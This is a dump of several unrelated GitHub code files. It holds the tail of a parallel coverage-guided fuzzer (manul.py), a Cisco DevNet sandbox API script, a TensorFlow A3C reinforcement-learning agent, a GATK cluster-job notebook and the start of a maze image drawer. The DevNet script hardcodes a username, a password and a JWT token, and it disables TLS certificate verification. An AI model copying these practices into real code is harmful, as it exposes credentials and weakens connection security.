(thread_index + i) % threads_count\n files[piece].append(file_name)\n thread_index += i + 1\n return files\n\n\ndef get_files_list(path):\n files_list = [f for f in listdir(path) if isfile(join(path, f))] # let's process input directory\n files_list.sort()\n\n if len(files_list) == 0:\n ERROR(\"No files for fuzzing, exiting\")\n\n return files_list\n\n\ndef check_if_exist(files_list, path):\n for file_name in files_list:\n if file_name == \"\":\n ERROR(\"File list has empty file name\")\n elif isfile(path + \"/\" + file_name):\n continue\n else:\n ERROR(\"File %s doesn't exist in %s\" % (file_name, path))\n\n\ndef allocate_files_per_jobs(args):\n if args.net_config_slave is not None:\n files = manul_network.get_files_list_from_master(args.net_config_slave, args.nfuzzers) # ask master to provide list of files\n check_if_exist(files, args.input)\n return split_files_by_count(files, args.nfuzzers)\n\n files_list = get_files_list(args.input)\n\n if args.net_config_master is not None:\n\n ips = manul_network.get_slaves_ips(args.net_config_master)\n slaves, total_threads_count = manul_network.get_remote_threads_count(ips) # ask slaves count and threads\n total_threads_count += args.nfuzzers\n\n files = split_files_by_count(files_list, total_threads_count)\n piece_id = 0\n for ip, port, slave_threads_count in slaves:\n manul_network.send_files_list(ip, port, files[piece_id:slave_threads_count + piece_id]) # send them files list\n piece_id += slave_threads_count\n files = files[piece_id:]\n else:\n files = split_files_by_count(files_list, args.nfuzzers)\n\n return files\n\ndef enable_network_config(args):\n\n if (args.target_ip_port and not args.target_protocol) or (args.target_protocol and not args.target_ip_port):\n ERROR(\"Both target_ip_port and target_protocol should be specified\")\n\n if args.target_ip_port and not args.target_protocol:\n ERROR(\"You need to provide target protocol (tcp or udp) in manul config along with ip and port\")\n if args.target_protocol and not args.target_ip_port:\n ERROR(\"You need to provide target port and ip along with TCP/IP protocol in manul config\")\n if args.target_protocol and args.target_protocol != \"tcp\" and args.target_protocol != \"udp\":\n ERROR(\"Invalid protocol. Should be tcp or udp.\")\n if args.target_ip_port and args.nfuzzers > 1:\n ERROR(\"Multi-threaded network fuzzing is not supported, yet\")\n if args.target_ip_port:\n target_ip_port = args.target_ip_port.split(\":\")\n if len(target_ip_port) != 2:\n ERROR(\"Invalid format for IP:PORT in manul config, received this: %s\" % args.target_ip_port)\n target_ip = target_ip_port[0]\n if target_ip.count(\".\") != 3:\n ERROR(\"Invalid IP format in %s\" % target_ip)\n target_port = target_ip_port[1]\n if int(target_port) > 65535 or int(target_port) <= 0:\n ERROR(\"Target port should be in range (0, 65535)\")\n\ndef parse_args():\n global INIT_WAIT_TIME\n parser = argparse.ArgumentParser(prog = \"manul.py\",\n description = 'Manul - coverage-guided parallel fuzzing for native applications.',\n usage = '%(prog)s -i /home/user/inputs_dir -o /home/user/outputs_dir -n 40 \"target -png @@\"')\n requiredNamed = parser.add_argument_group('Required parameters')\n requiredNamed.add_argument('-i', required=True, dest='input', help = \"Path to directory with initial corpus\")\n requiredNamed.add_argument('-o', dest='output', required=True, default=\"manul_output\",\n help = \"Path to output directory\")\n\n\n parser.add_argument('-n', default=1, type=int, dest='nfuzzers', help = \"Number of parallel fuzzers\")\n parser.add_argument('-s', default=False, action='store_true', dest=\"simple_mode\",\n help = \"Run dumb fuzzing (no code instrumentation)\")\n parser.add_argument('-c', default=\"manul.config\", dest = \"config\",\n help = \"Path to config file with additional options (see manul.config)\")\n parser.add_argument('-r', default=False, action='store_true', dest = \"restore\", help = \"Restore previous session\")\n\n # these options should be specified through config file and hidden\n parser.add_argument('--deterministic_seed', default=False, action='store_true', help = argparse.SUPPRESS)\n parser.add_argument('--print_per_thread', default=False, action='store_true', dest=\"threads_info\", help = argparse.SUPPRESS)\n\n parser.add_argument('--dbi', default = None, help = argparse.SUPPRESS)\n parser.add_argument('--dbi_root', help = argparse.SUPPRESS)\n parser.add_argument('--dbi_client_root', help = argparse.SUPPRESS)\n parser.add_argument('--dbi_client_libs', help = argparse.SUPPRESS)\n parser.add_argument(\"--dbi_persistence_mode\", default = 0, type=int, help = argparse.SUPPRESS)\n parser.add_argument(\"--dbi_target_method\", default = None, help = argparse.SUPPRESS)\n parser.add_argument(\"--dbi_target_offset\", default = None, help= argparse.SUPPRESS)\n parser.add_argument(\"--dbi_target_module\", default = None, help = argparse.SUPPRESS)\n parser.add_argument(\"--dbi_fuzz_iterations\", default = 5000, type=int, help = argparse.SUPPRESS)\n parser.add_argument(\"--dbi_thread_coverage\", default = False, action = 'store_true', help = argparse.SUPPRESS)\n\n parser.add_argument('--timeout', default=10, type=int, help = argparse.SUPPRESS)\n parser.add_argument('--net_config_master', help = argparse.SUPPRESS)\n parser.add_argument('--net_config_slave', help = argparse.SUPPRESS)\n parser.add_argument('--debug', default=False, action='store_true', help = argparse.SUPPRESS)\n parser.add_argument('--manul_logo', default=False, action='store_true', help = argparse.SUPPRESS)\n parser.add_argument('--logging_enable', default=False, action='store_true', help = argparse.SUPPRESS)\n parser.add_argument('--sync_freq', default=1000000, type=int, help = argparse.SUPPRESS)\n parser.add_argument('--cmd_fuzzing', default=False, action='store_true', help = argparse.SUPPRESS)\n parser.add_argument('--target_ip_port', default = None, help = argparse.SUPPRESS)\n parser.add_argument('--target_protocol', default = None, help = argparse.SUPPRESS)\n parser.add_argument('--mutator_weights', default = None, help = argparse.SUPPRESS)\n parser.add_argument('--user_signals', default = None, help = argparse.SUPPRESS)\n parser.add_argument(\"--dict\", default = None, help = argparse.SUPPRESS)\n parser.add_argument(\"--restore\", default = None, action = 'store_true', help = argparse.SUPPRESS)\n parser.add_argument(\"--no_stats\", default = None, action = \"store_true\", help = argparse.SUPPRESS)\n parser.add_argument(\"--custom_path\", default = None, help=argparse.SUPPRESS)\n parser.add_argument(\"--init_wait\", default = 0.0, help = argparse.SUPPRESS)\n parser.add_argument(\"--net_sleep_between_cases\", default = 0.0, help = argparse.SUPPRESS)\n parser.add_argument(\"--disable_volatile_bytes\", default = None, action = 'store_true', help = argparse.SUPPRESS)\n parser.add_argument(\"--stop_after_nseconds\", default = 0.0, type=int, help = argparse.SUPPRESS)\n parser.add_argument(\"--forkserver_on\", default = False, action = 'store_true', help = argparse.SUPPRESS)\n parser.add_argument(\"--skip_binary_check\", default = False, action = 'store_true', help = argparse.SUPPRESS)\n\n parser.add_argument('target_binary', nargs='*', help=\"The target binary and options to be executed (quotes needed e.g. \\\"target -png @@\\\")\")\n\n args = parser.parse_args()\n\n additional_args = parse_config(args.config)\n # A little hack here. We actually adding commands from config to cmd string and then parse it all together.\n final_cmd_to_parse = \"%s %s\" % (\" \".join(sys.argv[1:-1]), additional_args)\n\n final_cmd_to_parse = final_cmd_to_parse.split(\" \")\n final_cmd_to_parse.append(\"%s\" % sys.argv[-1])\n\n args = parser.parse_args(final_cmd_to_parse)\n\n if args.manul_logo:\n printing.print_logo()\n\n if not args.target_ip_port and \"@@\" not in args.target_binary[0]:\n ERROR(\"Your forgot to specify @@ for your target. Call manul.py -h for more details\")\n\n if args.simple_mode and args.dbi is not None:\n ERROR(\"Options mismatch. Simple mode can't be executed with DBI mode together (check manul.config).\")\n\n if not args.mutator_weights:\n ERROR(\"At least one mutator should be specified\")\n\n if args.custom_path and not os.path.isdir(args.custom_path):\n ERROR(\"Custom path provided does not exist or not a directory\")\n\n enable_network_config(args)\n\n if args.dict:\n if not os.path.isfile(args.dict):\n WARNING(None, \"Unable to read dictionary file from %s, file doesn't exist\" % args.dict)\n\n if args.forkserver_on and not sys.platform.startswith('linux'):\n INFO(0, None, None, \"Forkserver is not supported on this platform, switching to classic mode\")\n args.forkserver_on = False\n\n if args.simple_mode or args.dbi:\n args.forkserver_on = False # we don't have forkserver for simple or DBI modes\n\n #TODO: check that DBI params are correctly set\n\n INIT_WAIT_TIME = float(args.init_wait)\n\n return args\n\n\nif __name__ == \"__main__\":\n start = timer()\n args = parse_args()\n\n printing.DEBUG_PRINT = args.debug\n\n binary_to_check = args.target_binary[0]\n target_binary = split_unescape(binary_to_check, ' ', '\\\\')[0]\n\n dbi_setup = None\n if args.dbi is not None:\n dbi_setup = configure_dbi(args, target_binary, args.debug)\n\n if not args.skip_binary_check:\n check_binary(target_binary) # check if our binary exists and is actually instrumented\n\n if not args.simple_mode and args.dbi is None and not args.skip_binary_check and not check_instrumentation(target_binary):\n ERROR(\"Failed to find afl's instrumentation in the target binary, try to recompile or run manul in dumb mode\")\n\n if not os.path.isdir(args.input):\n ERROR(\"Input directory doesn't exist\")\n\n if not os.path.isdir(args.output):\n ERROR(\"Output directory doesn't exist\")\n\n if args.output.endswith('/'):\n args.output = args.output[:-1]\n if args.input.endswith('/'):\n args.input = args.input[:-1]\n\n if not args.restore and os.listdir(args.output):\n WARNING(None, \"Output directory is not empty, creating backup of output folder\")\n id = get_available_id_for_backup(args.output)\n os.rename(args.output, args.output + \"_%d\" % id)\n os.mkdir(args.output)\n INFO(0, None, None, \"Done\")\n\n # if radamsa weight is not zero, check that we can actually execute it\n radamsa_path = None\n if \"radamsa:0\" not in args.mutator_weights:\n #get relative path to radamsa binary\n radamsa_path = __file__\n radamsa_path = radamsa_path.replace(\"manul.py\", \"\")\n if sys.platform == \"win32\":\n radamsa_path = radamsa_path + \"radamsa.exe\"\n elif sys.platform == \"darwin\":\n radamsa_path = \"radamsa\"\n else:\n radamsa_path = radamsa_path + \"./libradamsa/libradamsa.so\"\n INFO(1, None, None, \"Full relative path to radamsa %s\" % radamsa_path)\n check_binary(radamsa_path)\n\n files = allocate_files_per_jobs(args)\n\n virgin_bits = None\n crash_bits = None\n if not args.simple_mode:\n virgin_bits = multiprocessing.Array(\"i\", SHM_SIZE)\n crash_bits = multiprocessing.Array(\"i\", SHM_SIZE)\n for i in range(0, SHM_SIZE):\n virgin_bits[i] = 255 # initializing with all 0xFFs\n crash_bits[i] = 255\n\n # allocating data structures where we store all statistics about our fuzzers\n stats = FuzzerStats()\n all_threads_stats = list()\n all_threads_handles = list()\n\n for i, files_piece in enumerate(files):\n stats_array = multiprocessing.Array(\"d\", stats.get_len())\n t = multiprocessing.Process(target=run_fuzzer_instance, args=(files_piece, i, virgin_bits, args, stats_array,\n args.restore, crash_bits, dbi_setup, radamsa_path))\n t.start()\n all_threads_stats.append(stats_array)\n all_threads_handles.append(t)\n\n INFO(0, None, None, \"%d fuzzer instances successfully launched\" % args.nfuzzers)\n\n sync_t = None\n if (args.net_config_slave is not None or args.net_config_master is not None) and not args.simple_mode:\n INFO(1, None, None, \"Allocating special thread for bitmap synchronization\")\n ips = None\n if args.net_config_master is not None:\n ips = manul_network.get_slaves_ips(args.net_config_master)\n sync_t = threading.Thread(target=manul_network.sync_remote_bitmaps,\n args=(virgin_bits, ips))\n elif args.net_config_slave is not None:\n sync_t = threading.Thread(target=manul_network.receive_bitmap_slave,\n args=(args.net_config_slave, virgin_bits))\n sync_t.setDaemon(True)\n sync_t.start()\n\n if not PY3 and not args.target_ip_port and not args.forkserver_on:\n watchdog_t = threading.Thread(target=watchdog, args=(args.timeout,))\n watchdog_t.setDaemon(True)\n watchdog_t.start()\n\n try:\n while True:\n threads_inactive = 0\n for i, t in enumerate(all_threads_handles):\n if not t.is_alive():\n threads_inactive += 1\n WARNING(None, \"Fuzzer %d unexpectedly terminated\" % i)\n\n if sync_t is not None and not sync_t.alive():\n WARNING(None, \"Synchronization thread is not alive\")\n\n end = timer() - start\n\n bytes_cov = 0.0\n if not args.simple_mode:\n bytes_cov = get_bytes_covered(virgin_bits)\n active_threads_count = len(all_threads_handles) - threads_inactive\n # printing statistics\n if args.threads_info:\n printing.print_per_thread(all_threads_stats, bytes_cov, end, active_threads_count, args, args.mutator_weights)\n else:\n printing.print_summary(all_threads_stats, bytes_cov, end, active_threads_count, args, UPDATE, args.mutator_weights)\n\n if args.stop_after_nseconds != 0.0 and args.stop_after_nseconds < end:\n INFO(0, None, None, \"Stopping manul due to stop_after_nseconds option %d\" % end)\n #kill_all(os.getpid())\n sys.exit(0)\n\n time.sleep(STATS_FREQUENCY)\n except (KeyboardInterrupt, SystemExit):\n INFO(0, None, None, \"Stopping all fuzzers and threads\")\n kill_all(os.getpid())\n # TODO: ideally, if we have UDS opened we should clean them with unlink() function here.\n INFO(0, None, None, \"Stopped, exiting\")\n sys.exit()\n","repo_name":"mxmssh/manul","sub_path":"manul.py","file_name":"manul.py","file_ext":"py","file_size_in_byte":66465,"program_lang":"python","lang":"en","doc_type":"code","stars":329,"dataset":"github-code","pt":"38"} +{"seq_id":"29997417471","text":"import requests\nfrom requests.exceptions import Timeout\nimport base64\n\nrequests.packages.urllib3.disable_warnings()\n\nUSER_DNA = \"devnetuser\"\nPASSWORD_DNA = \"Cisco123!\"\nDEF_TIMEOUT = 10\n\ndef main():\n API_Server = \"https://sandboxdnac.cisco.com/\"\n # functions\n sandboxAvailability(API_Server)\n checkSimpleRequest(API_Server)\n\n\ndef sandboxAvailability(API_Server):\n response = requests.get(API_Server)\n if response.status_code != 200:\n #send notification to bot\n print(\"Error\", response.status_code)\n exit()\n print(\"response.status_code (HTTP Status codes): \", response.status_code)\n print(\"response.content: \", response.content[:50])\n print(\"response.text: \", response.text[:50])\n return (response.status_code)\n\ndef checkSimpleRequest(API_Server):\n API_Endpoint = API_Server + \"api/system/v1/\"\n Path = \"auth/token\"\n API_Resource = API_Endpoint + Path\n usrPasDna = USER_DNA + \":\" + PASSWORD_DNA\n basicDNA = base64.b64encode(usrPasDna.encode()).decode()\n HTTP_Request_header = {\"Authorization\": \"Basic %s\" % basicDNA,\n \"Content-Type\": \"application/json;\"}\n body_json = \"\"\n\n try:\n # API Operation\n response = requests.post(API_Resource, data=body_json, headers=HTTP_Request_header, verify=False, timeout=DEF_TIMEOUT)\n except Timeout as e:\n raise Timeout(e)\n tokenDNA = response.json()['Token']\n urlSimpleDNA = API_Server + \"api/v1/network-device/\"\n urlSimpleDNAerror = API_Server + \"api/v1/network-devic/\"\n HTTP_Request_header = {'x-auth-token': tokenDNA}\n try:\n response = requests.get(urlSimpleDNA, headers=HTTP_Request_header)\n print (\"\\n API Operation: GET https://sandboxdnac.cisco.com/api/v1/network-device/ \\n\", response.json())\n if response.status_code == 429:\n retry_after = response.getheader(\"Retry-After\")\n time.sleep(retry_after)\n #time.sleep(30)\n if response.status_code != 200:\n print(\"Error SimpleRequest status_code != 200\")\n\n exit()\n except Timeout as e:\n raise Timeout(e)\n try:\n b = response.json()['response'][0]['type']\n except IndexError:\n print(\"Error SimpleRequest index\")\n exit()\n\n tokenDNAexp = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiI1ZjhlYjhhZDc1MTYxMjRlODczYTg0YmYiLCJhdXRoU291cmNlIjoiaW50ZXJuYWwiLCJ0ZW5hbnROYW1lIjoiVE5UMCIsInJvbGVzIjpbIjVlNWE0MzI2NzUxNjEyMDBjYzRhYzk2MyJdLCJ0ZW5hbnRJZCI6IjVlNWE0MzI1NzUxNjEyMDBjYzRhYzk1YyIsImV4cCI6MTYwNDMyMTkzOSwiaWF0IjoxNjA0MzE4MzM5LCJqdGkiOiI5NWI2ZmUyYS01OWYzLTQ4NTMtODliOC0wZDVjYjJmMTQ5YjciLCJ1c2VybmFtZSI6ImRldm5ldHVzZXIifQ.b4WGuTHFu97PvvheuCbjzXQfWlLbWSAKylt8vk_930MEtQC4FPjrn9FT_AiD6GTIpbWl6qW_NXfhbkVfw3R0rMu7XOJSFKpqRYDocGSz6oy2F6mURo41dhnKQ4tz2CEfgoFOUPOXahOypYw8vEBz__5iHf3quRe1Iqhnj4STntIHh7XoZoY_3Qj_G69ZsEycu-ooJ0BORnYPcVDBcYjmr2TbW6lOS1l-4PgnVxQBNO-uGYIv14H6C6kjMeJxHCurBMGWL0uln2Em5cgU7FvvvGAfy-9DYA5WMMGmBJVEFvT0MxZg8yrupbfoFDbhHmgPmXMo2Yeugb-spVzir_Bq5g\"\n HTTP_Request_header_expired = {'x-auth-token': tokenDNAexp}\n try:\n response = requests.get(urlSimpleDNA, headers=HTTP_Request_header)\n response_error_resource = requests.get(urlSimpleDNAerror, headers=HTTP_Request_header)\n print (response.json())\n\n response_error_token = requests.get(urlSimpleDNA, headers=HTTP_Request_header_expired)\n if response_error_token.status_code == 401:\n print(\"\\n response_error_token \", response_error_token.status_code)\n # catch 401 and regenarate token\n response_error_operation = requests.post(urlSimpleDNA, headers=HTTP_Request_header)\n print (\"response_error_operation \", response_error_operation.status_code)\n print (\"response_error_resource \", response_error_resource.status_code)\n except Timeout as e:\n raise Timeout(e)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"oborys/DevNet-intro-scripts","sub_path":"simple_api_operation_http_errors.py","file_name":"simple_api_operation_http_errors.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31045438938","text":"import tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport networks as nts\nimport utils as ut\nimport numpy as np\n\n\nclass AC_Network():\n def __init__(self, a_size, state_size, scope, trainer, num_units, network):\n with tf.variable_scope(scope):\n # Input and visual encoding layers\n self.st = tf.placeholder(shape=[None, 1, state_size, 1],\n dtype=tf.float32)\n self.prev_rewards = tf.placeholder(shape=[None, 1],\n dtype=tf.float32)\n self.prev_actions = tf.placeholder(shape=[None],\n dtype=tf.int32)\n\n self.prev_actions_onehot = tf.one_hot(self.prev_actions, a_size,\n dtype=tf.float32)\n\n hidden = tf.concat([slim.flatten(self.st), self.prev_rewards,\n self.prev_actions_onehot], 1)\n\n # call RNN network\n if network == 'relu':\n net = nts.RNN_ReLU\n elif network == 'lstm':\n net = nts.RNN\n elif network == 'gru':\n net = nts.RNN_GRU\n elif network == 'ugru':\n net = nts.RNN_UGRU\n else:\n raise ValueError('Unknown network')\n\n self.st_init, self.st_in, self.st_out, self.actions,\\\n self.actions_onehot, self.policy, self.value =\\\n net(hidden, self.prev_rewards, a_size, num_units)\n\n # Only the worker network needs ops for loss functions\n # and gradient updating.\n if scope != 'global':\n self.target_v = tf.placeholder(shape=[None], dtype=tf.float32)\n self.advantages = tf.placeholder(shape=[None],\n dtype=tf.float32)\n\n self.resp_outputs = \\\n tf.reduce_sum(self.policy * self.actions_onehot, [1])\n\n # Loss functions\n self.value_loss = 0.5 * tf.reduce_sum(\n tf.square(self.target_v -\n tf.reshape(self.value, [-1])))\n self.entropy = - tf.reduce_sum(\n self.policy * tf.log(self.policy + 1e-7))\n self.policy_loss = -tf.reduce_sum(\n tf.log(self.resp_outputs + 1e-7)*self.advantages)\n self.loss = 0.5 * self.value_loss +\\\n self.policy_loss -\\\n self.entropy * 0.05\n\n # Get gradients from local network using local losses\n local_vars = tf.get_collection(\n tf.GraphKeys.TRAINABLE_VARIABLES, scope)\n self.gradients = tf.gradients(self.loss, local_vars)\n self.var_norms = tf.global_norm(local_vars)\n grads, self.grad_norms =\\\n tf.clip_by_global_norm(self.gradients, 999.0)\n\n # Apply local gradients to global network\n global_vars = tf.get_collection(\n tf.GraphKeys.TRAINABLE_VARIABLES, 'global')\n self.apply_grads = trainer.apply_gradients(\n zip(grads, global_vars))\n\n\nclass Worker():\n def __init__(self, game, name, a_size, state_size, trainer,\n model_path, global_epss, data_path, num_units, network):\n self.name = \"worker_\" + str(name)\n self.number = name\n self.folder = data_path + '/trains/train_' + str(self.number)\n self.model_path = model_path\n self.trainer = trainer\n self.global_epss = global_epss\n self.increment = self.global_epss.assign_add(1)\n self.network = network\n self.eps_rewards = []\n self.eps_mean_values = []\n\n self.summary_writer = tf.summary.FileWriter(self.folder)\n\n # Create the local copy of the network and the tensorflow op\n # to copy global parameters to local network\n self.local_AC = AC_Network(a_size, state_size, self.name, trainer,\n num_units, network)\n self.update_local_ops = ut.update_target_graph('global', self.name)\n self.env = game\n\n def train(self, rollout, sess, gamma, bootstrap_value):\n rollout = np.array(rollout)\n states = rollout[:, 0]\n actions = rollout[:, 1]\n rewards = rollout[:, 2]\n\n prev_rewards = [0] + rewards[:-1].tolist()\n prev_actions = [0] + actions[:-1].tolist()\n values = rollout[:, 3]\n\n self.pr = prev_rewards\n self.pa = prev_actions\n # Here we take the rewards and values from the rollout, and use them to\n # generate the advantage and discounted returns.\n # The advantage function uses \"Generalized Advantage Estimation\"\n self.rewards_plus = np.asarray(rewards.tolist() + [bootstrap_value])\n discounted_rewards = ut.discount(self.rewards_plus, gamma)[:-1]\n self.value_plus = np.asarray(values.tolist() + [bootstrap_value])\n advantages = rewards +\\\n gamma * self.value_plus[1:] -\\\n self.value_plus[:-1]\n advantages = ut.discount(advantages, gamma)\n\n # Update the global network using gradients from loss\n # Generate network statistics to periodically save\n rnn_state = self.local_AC.st_init\n if self.network == 'lstm':\n feed_dict = {self.local_AC.target_v: discounted_rewards,\n self.local_AC.state: np.stack(states, axis=0),\n self.local_AC.prev_rewards: np.vstack(prev_rewards),\n self.local_AC.prev_actions: prev_actions,\n self.local_AC.actions: actions,\n self.local_AC.advantages: advantages,\n self.local_AC.state_in[0]: rnn_state[0],\n self.local_AC.state_in[1]: rnn_state[1]}\n elif (self.network == 'relu') or\\\n (self.network == 'gru') or\\\n (self.network == 'ugru'):\n feed_dict = {self.local_AC.target_v: discounted_rewards,\n self.local_AC.st: np.stack(states, axis=0),\n self.local_AC.prev_rewards: np.vstack(prev_rewards),\n self.local_AC.prev_actions: prev_actions,\n self.local_AC.actions: actions,\n self.local_AC.advantages: advantages,\n self.local_AC.st_in: rnn_state}\n\n v_l, p_l, e_l, g_n, v_n, _ = sess.run([self.local_AC.value_loss,\n self.local_AC.policy_loss,\n self.local_AC.entropy,\n self.local_AC.grad_norms,\n self.local_AC.var_norms,\n self.local_AC.apply_grads],\n feed_dict=feed_dict)\n aux = len(rollout)\n return v_l / aux, p_l / aux, e_l / aux, g_n, v_n\n\n def work(self, gamma, sess, coord, saver, train, exp_dur):\n eps_count = sess.run(self.global_epss)\n num_eps_tr_stats = int(1000/self.env.upd_net)\n num_epss_end = int(exp_dur/self.env.upd_net)\n num_epss_save_model = int(5000/self.env.upd_net)\n total_steps = 0\n print(\"Starting worker \" + str(self.number))\n # get first state\n s = self.env.new_trial()\n with sess.as_default(), sess.graph.as_default():\n while not coord.should_stop():\n sess.run(self.update_local_ops)\n eps_buffer = []\n eps_values = []\n eps_reward = 0\n eps_step_count = 0\n d = False\n r = 0\n a = 0\n rnn_state = self.local_AC.st_init\n while not d:\n if self.network == 'lstm':\n feed_dict = {\n self.local_AC.state: [s],\n self.local_AC.prev_rewards: [[r]],\n self.local_AC.prev_actions: [a],\n self.local_AC.state_in[0]: rnn_state[0],\n self.local_AC.state_in[1]: rnn_state[1]}\n elif (self.network == 'relu') or\\\n (self.network == 'gru') or\\\n (self.network == 'ugru'):\n feed_dict = {\n self.local_AC.st: [s],\n self.local_AC.prev_rewards: [[r]],\n self.local_AC.prev_actions: [a],\n self.local_AC.st_in: rnn_state}\n\n # Take an action using probs from policy network output\n a_dist, v, rnn_state_new = sess.run(\n [self.local_AC.policy,\n self.local_AC.value,\n self.local_AC.st_out],\n feed_dict=feed_dict)\n\n a = np.random.choice(a_dist[0], p=a_dist[0])\n a = np.argmax(a_dist == a)\n rnn_state = rnn_state_new\n aux = np.floor(self.env.num_tr/self.env.num_tr_svd)\n if aux % self.env.sv_pts_stp == 0:\n network_activity = rnn_state_new\n else:\n network_activity = []\n # new_state, reward, update_net, new_trial\n s1, r, d, nt = self.env.step(a, net_st=network_activity)\n # save samples for training the network later\n eps_buffer.append([s, a, r, v[0, 0]])\n eps_values.append(v[0, 0])\n eps_reward += r\n total_steps += 1\n eps_step_count += 1\n s = s1\n\n self.eps_rewards.append(eps_reward)\n self.eps_mean_values.append(np.mean(eps_values))\n\n # Update the network using the experience buffer\n # at the end of the episode\n if len(eps_buffer) != 0 and train:\n v_l, p_l, e_l, g_n, v_n = \\\n self.train(eps_buffer, sess, gamma, 0.0)\n\n # Periodically save model parameters and summary statistics.\n if eps_count % num_eps_tr_stats == 0 and eps_count != 0:\n if eps_count % num_epss_save_model == 0 and\\\n self.name == 'worker_0' and\\\n train and\\\n len(self.eps_rewards) != 0:\n saver.save(sess, self.model_path +\n '/model-' + str(eps_count) + '.cptk')\n mean_reward = np.mean(self.eps_rewards[-10:])\n mean_value = np.mean(self.eps_mean_values[-10:])\n summary = tf.Summary()\n summary.value.add(tag='Perf/Reward',\n simple_value=float(mean_reward))\n summary.value.add(tag='Perf/Value',\n simple_value=float(mean_value))\n\n performance_aux = np.vstack(np.array(self.env.perf_mat))\n\n for ind_crr in range(performance_aux.shape[1]):\n mean_performance = np.mean(performance_aux[:, ind_crr])\n summary.value.add(tag='Perf/Perf_' + str(ind_crr),\n simple_value=float(mean_performance))\n\n if train:\n summary.value.add(tag='Losses/Value Loss',\n simple_value=float(v_l))\n summary.value.add(tag='Losses/Policy Loss',\n simple_value=float(p_l))\n summary.value.add(tag='Losses/Entropy',\n simple_value=float(e_l))\n summary.value.add(tag='Losses/Grad Norm',\n simple_value=float(g_n))\n summary.value.add(tag='Losses/Var Norm',\n simple_value=float(v_n))\n self.summary_writer.add_summary(summary, eps_count)\n\n self.summary_writer.flush()\n\n if self.name == 'worker_0':\n sess.run(self.increment)\n\n eps_count += 1\n if eps_count > num_epss_end:\n break","repo_name":"manuelmolano/priors_project","sub_path":"A3C_agent.py","file_name":"A3C_agent.py","file_ext":"py","file_size_in_byte":12879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29531676407","text":"get_ipython().run_line_magic('run', '_standard_imports.ipynb')\nget_ipython().run_line_magic('run', '_shared_setup.ipynb')\n\nimport stat\nfrom sh import ssh\nbsub = sh.Command('bsub')\n\noutput_dir = \"/lustre/scratch109/malaria/rp7/data/pf3k/pilot_5_0/20160525_CallableLoci_bed_release_5\"\nbam_fofn = \"%s/pf3k_sample_bams.txt\" % output_dir\nget_ipython().system('mkdir -p {output_dir}/scripts')\nget_ipython().system('mkdir -p {output_dir}/results')\nget_ipython().system('mkdir -p {output_dir}/logs')\n\nget_ipython().system('vrpipe-fileinfo --setup pf3kgatk_mergelanes --step 4 --display tab --metadata sample > {bam_fofn}')\n\nGenomeAnalysisTK=\"/software/jre1.7.0_25/bin/java -Xmx4G -jar /nfs/team112_internal/production/tools/bin/gatk/GenomeAnalysisTK-3.5/GenomeAnalysisTK.jar\"\n\nGENOME_FN\n\ntbl_bams = etl.fromtsv(bam_fofn)\nprint(len(tbl_bams.data()))\ntbl_bams\n\nfor bam_fn, sample in tbl_bams.data():\n print('.', sep='')\n bed_fn = \"%s/results/callable_loci_%s.bed\" % (output_dir, sample)\n summary_fn = \"%s/results/summary_table_%s.txt\" % (output_dir, sample)\n\n if not os.path.exists(bed_fn):\n# if True:\n script_fn = \"%s/scripts/CallableLoci_%s.sh\" % (output_dir, sample)\n fo = open(script_fn, 'w')\n print('''%s -T CallableLoci -R %s -I %s -summary %s -o %s\n''' % (\n GenomeAnalysisTK,\n GENOME_FN,\n bam_fn,\n summary_fn,\n bed_fn,\n ),\n file = fo\n )\n fo.close()\n st = os.stat(script_fn)\n os.chmod(script_fn, st.st_mode | stat.S_IEXEC)\n bsub(\n '-G', 'malaria-dk',\n '-P', 'malaria-dk',\n '-q', 'normal',\n '-o', '%s/logs/CL_%s.out' % (output_dir, sample),\n '-e', '%s/logs/CL_%s.err' % (output_dir, sample),\n '-J', 'CL_%s' % (sample),\n '-R', \"'select[mem>8000] rusage[mem=8000]'\",\n '-M', '8000',\n script_fn)\n\n2+2\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/20160525_CallableLoci_bed_release_5.py","file_name":"20160525_CallableLoci_bed_release_5.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34799468345","text":"import os\n\nCELL_WIDTH = 30\nCELL_HEIGHT = 20\nBORDER_THICKNESS = 3\nEDGE_PADDING = 50\n\nclass PngDrawer(object):\n\n def __init__(self, file_path, grid,\n cell_width=CELL_WIDTH,\n cell_height=CELL_HEIGHT,\n border_thickness=BORDER_THICKNESS,\n edge_padding=EDGE_PADDING,\n color=\"#aa5000\",\n path=\"#3350aa\"):\n self.file_path = file_path\n self.grid = grid\n self.cell_dim = (cell_width, cell_height)\n self.border_thickness = border_thickness\n self.edge_padding = edge_padding\n self.color = color\n self.path_color = path\n\n\n def im_size(self):\n return (\n self.edge_padding + self.grid.width * self.cell_dim[0] + self.border_thickness * 2,\n self.edge_padding + self.grid.height * self.cell_dim[1] + self.border_thickness * 2)\n\n def draw(self):\n from PIL import Image, ImageDraw\n im = Image.new(\"RGB\", self.im_size(), \"white\")\n pen = ImageDraw.Draw(im)\n\n distances = self.grid.distances\n if distances:\n _, max_distance = distances.max()\n\n for y, row, in enumerate(self.grid.iterrows()):\n for x, cell in enumerate(row):\n left = (self.edge_padding / 2) + self.cell_dim[0] * x\n top = (self.edge_padding / 2) + self.cell_dim[1] * y\n\n if distances and max_distance:\n current = distances[cell]\n if current is None:\n fill = (0x33, 0x33, 0x33)\n else:\n pct = .3 * current / max_distance\n fill = (int(0xEE * pct), 0x11, int(0x100 * pct))\n points = [(left, top),\n (left + self.cell_dim[0], top + self.cell_dim[1])]\n pen.rectangle(points, fill = fill)\n\n if not cell.is_linked(cell.left):\n pen.line([(left, top),\n (left, top + self.cell_dim[1])],\n fill=self.color,\n width=self.border_thickness)\n if not cell.is_linked(cell.top):\n pen.line([(left, top),\n (left + self.cell_dim[0], top)],\n fill=self.color,\n width=self.border_thickness)\n if not cell.right:\n pen.line([(left + self.cell_dim[0], top),\n (left + self.cell_dim[0], top + self.cell_dim[1])],\n fill=self.color,\n width=self.border_thickness)\n if not cell.bottom:\n btop = top + self.cell_dim[1]\n pen.line([(left, btop),\n (left + 